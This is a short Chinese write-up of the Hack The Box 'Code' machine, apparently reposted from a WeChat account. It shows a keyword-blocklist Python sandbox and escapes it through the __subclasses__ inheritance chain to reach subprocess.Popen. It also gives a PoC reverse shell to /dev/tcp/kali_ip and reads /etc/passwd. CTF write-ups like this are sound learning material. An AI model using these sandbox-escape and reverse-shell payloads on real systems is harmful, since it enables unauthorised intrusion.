HTB_Code
linux(eazy)
总结
user
它应该是继承链那块的知识,绕过一些执行函数->命令执行app-shell->db文件->martin-shell
root
sudo -l,软链接,先软链接好指定的目标目录,设置归档范围时再具体到文件名即可
白名单部分:
try:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
exec(code)
output = redirected_output.getvalue()
except Exception as e:
output = str(e)
finally:
sys.stdout = old_stdout
return jsonify({'output': output})
命令执行绕过参考:
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#command-execution-libraries
类似于这种格式,需要找到对应索引,就可以直接调用相关方法
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#在web上查看支持的类
print(().__class__.__base__.__subclasses__())
...
<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>...
for i, c in enumerate((()).__class__.__base__.__subclasses__()):
print(i, c)
...
<class 'subprocess.CompletedProcess'>n317 <class 'subprocess.Popen'>n318
显示不全就用ctrl+shift+i
看即可
poc:
().__class__.__bases__[0].__subclasses__()[317](["/bin/bash","-c","bash -i >& /dev/tcp/kali_ip/3434 0>&1"])
tar -xvjf *bz2
参考
wp
师傅们讨论
python-继承链
https://github.com/mstxq17/ctf_web/blob/master/python%E7%BB%A7%E6%89%BF%E9%93%BE%E5%92%8C%E9%A2%98%E8%A7%A3%E7%BB%BC%E5%90%88.md
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#command-execution-libraries
原文始发于微信公众号(羽泪云小栈):HTB_Code
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论